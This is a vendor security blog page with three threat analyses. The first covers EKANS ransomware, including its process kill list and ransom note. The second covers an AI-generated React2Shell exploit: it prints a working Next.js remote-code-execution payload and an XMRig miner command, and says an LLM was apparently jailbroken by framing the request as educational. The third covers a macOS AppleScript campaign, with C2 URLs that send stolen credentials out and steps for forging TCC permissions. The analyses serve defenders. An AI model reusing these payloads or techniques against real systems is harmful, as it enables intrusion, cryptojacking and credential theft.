Blog
/
/
June 24, 2020

Ekans Ransomware: Insights on OT Cyber Attacks

Uncover the impacts of the Ekans ransomware attack on operational technology and what organizations can do to enhance their cybersecurity posture.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
David Masson
VP, Field CISO
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
24
Jun 2020

In recent weeks, the security industry has become acutely aware of the challenges surrounding OT protection, with the EKANS ransomware attacks on Honda and the Enel Group demonstrating how novel threats continue to slip through the cracks of security systems in ICS environments. What’s more, with such attacks resulting in loss of productivity and damage to critical infrastructure, the need for a cyber security strategy that bridges both OT and IT technology is increasingly urgent.

The recent EKANS ransomware has been making waves in security circles because of its ability to target 64 specific ICS mechanisms in its ‘kill chain’. Standard attacks target ICS environments through vulnerabilities in IT infrastructure, pivoting through unpatched software to reach OT machinery, rather than heading straight for the jugular. The EKANS ransomware targeted ICS vulnerabilities directly and can be considered the first of its kind – marking a significant evolution in attacker techniques. Before now, ICS machinery-specific ransomware had either been an academic theory or a marketing tool.

Technical analysis

Written in the Go programming language, EKANS has additional obfuscation abilities compared to other ransomware strains, which enable it to better evade detection. As will be seen in this analysis, the power of EKANS ransomware is two-fold – it is able to disguise its attack in the beginning stages, and when it does strike, it is targeted at industrial pain points.

The ransomware’s first port of call is to check if the victim has already been encrypted. If not, standard encryption library functions ensue. These involve both the execution of encryption operations and the deletion of Volume Shadow Copy back-ups – meaning the victim cannot simply retrieve duplicated data copies and circumvent the ransom.

Before the relevant files are encrypted, EKANS ransomware kills various ICS processes listed in a pre-programmed, hard-coded list. The affected applications include GE’s Proficy data historian, GE Fanuc automation software, FLEXNet licensing server instance, Thingworx monitoring and management software, and Honeywell’s HMIWeb application – all specific to ICS environments.

proficyclient.exe
vmacthlp.exe
msdtssrvr.exe
sqlservr.exe
msmdsrv.exe
reportingservicesservice.exe
dsmcsvc.exe
winvnc4.exe
client.exe
collwrap.exe
bluestripecollector.exe

Figure 1: A small excerpt of the ICS-related processes targeted in the EKANS ‘kill list’

While stalling these processes doesn’t necessarily bring industrial plants crashing to a halt, it does reduce visibility and potentially make machine operations unpredictable. In the case of Honda’s attack, manufacturing operations across the US, the UK, and Turkey were suspended. With a workforce of 220,000 people worldwide, shutting down several factories and sending employees home results in a dramatic loss of production hours and employee salaries – not to mention the costs of getting systems up and running without giving in to ransom demands.

EKANS then goes one stage further. Once this initial kill chain has been executed, the ransomware starts encrypting data. Five randomly generated letters are added at the end of each original file extension. This in itself is unusual, as most ransomware encrypts data with a specific key.

Figure 2: Encryption results of EKANS ransomware

Rather than targeting specific devices or systems, EKANS ransomware looks to take down the entire network, which is part of what makes it such an aggressive style of ransomware. However, it lacks a self-propagating mechanism, so it has to be manually introduced to ICS environments. Malicious payloads hidden in links and attachments within emails are the primary mechanism used to introduce the ransomware. From there, EKANS exploits vulnerable and unpatched services, seeding itself across the entire business via script.

When the encryption process has been completed, a ransom note is displayed, requesting a covert financial exchange for a decryption key over the encrypted email platform CTemplar. In the case of both Honda and the Enel Group, they were told to contact CarrolBidell@tutanota[.]com for further information. The attackers also offered to send several decrypted files to prove the legitimacy of the encryption key.

| What happened to your files?
--------------------------------------------
We breached your corporate network and encrypted the data on your computers. The encrypted data includes documents, databases, photos and more –
all were encrypted using a military grade encryption algorithms (AES-256 and RSA-2048). You cannot access those files right now. But dont worry!
You can still get those files back and be up and running again in no time.
--------------------------------------------
| How to contact us to get your files back?
--------------------------------------------
The only way to restore your files is by purchasing a decryption tool loaded with a private key we created specifically for your network.
Once run on an effected computer, the tool will decrypt all encrypted files – and you resume day-to-day operations, preferably with
better cyber security in mind. If you are interested in purchasing the decryption tool contact us at %s
--------------------------------------------
| How can you be certain we have the decryption tool?
--------------------------------------------
In your mail to us attach up to 3 files (up to 3MB, no databases or spreadsheets).

Figure 3: Partial view of EKANS ransomware note

Honda has refrained from stating what specific plant capabilities were affected by the EKANS attack, however it has publicly affirmed that production operations have been affected in multiple factories across the world. Their visibility and control systems were disrupted significantly enough to suspend manufacturing.

Becoming immune to ransomware

While the EKANS ransomware leverages fairly crude techniques and is only able to halt processes rather than control ICS mechanisms, it represents a new frontier in OT cyber-attacks. ICS offensives will continue to evolve – with greater control over machinery a likely avenue of exploration for cyber-criminals.

What is clear from the Honda attack is that even some of the world’s largest global conglomerates are susceptible to these kind of ransomware attacks. What is needed to protect factory floors from such attacks is a cyber security solution that can detect the most subtle signals of threat, learning on the job to understand what is ‘normal’ for each unique ICS environment.

Darktrace’s AI learns the normal ‘patterns of life’ for every user, device, and controller across both OT and IT. By continuously analyzing data across organizations’ systems, the AI’s unique understanding of how each facet of a business and a dynamic workforce interacts ensures that any malicious activity is detected seconds after it emerges. In the case of EKANS, this self-learning approach would have identified a number of anomalous behaviors pertaining to the originally infected device, including beaconing to a rare destination and the unusual connections to encryption software.

Complementing Darktrace’s threat detection is the AI’s Autonomous Response abilities, which neutralize threats with surgical precision – allowing business activity to continue as normal. Autonomous Response has already proven itself successful in stopping ransomware attacks, preventing damaging operational outages at manufacturing facilities, hospitals, and municipalities around the world.

Conclusion

EKANS revealed that attackers are beginning to successfully target both IT and OT systems with one attack, making the need for security programs that can bridge this gap more urgent than ever. The ability to defend both environments with a single security solution ensures holistic protection for the entire organization. By correlating disparate data points across SaaS, email, cloud, traditional network, and OT environments, Cyber AI can identify and stop even the most sophisticated attacks.

The reality is that threats in the OT sphere will continue to evolve, becoming faster and more furious than ever. Given the potential damage ransomware can cause, security that can defend industrial systems along with dynamic workforces – detecting and stopping fast-acting threats across a complex business – has become more important than ever. The functionality of industrial systems depends on it.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
David Masson
VP, Field CISO

More in this series

No items found.

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

Continue reading
About the author
Tara Gould
Malware Research Lead
Your data. Our AI.
Elevate your network security with Darktrace AI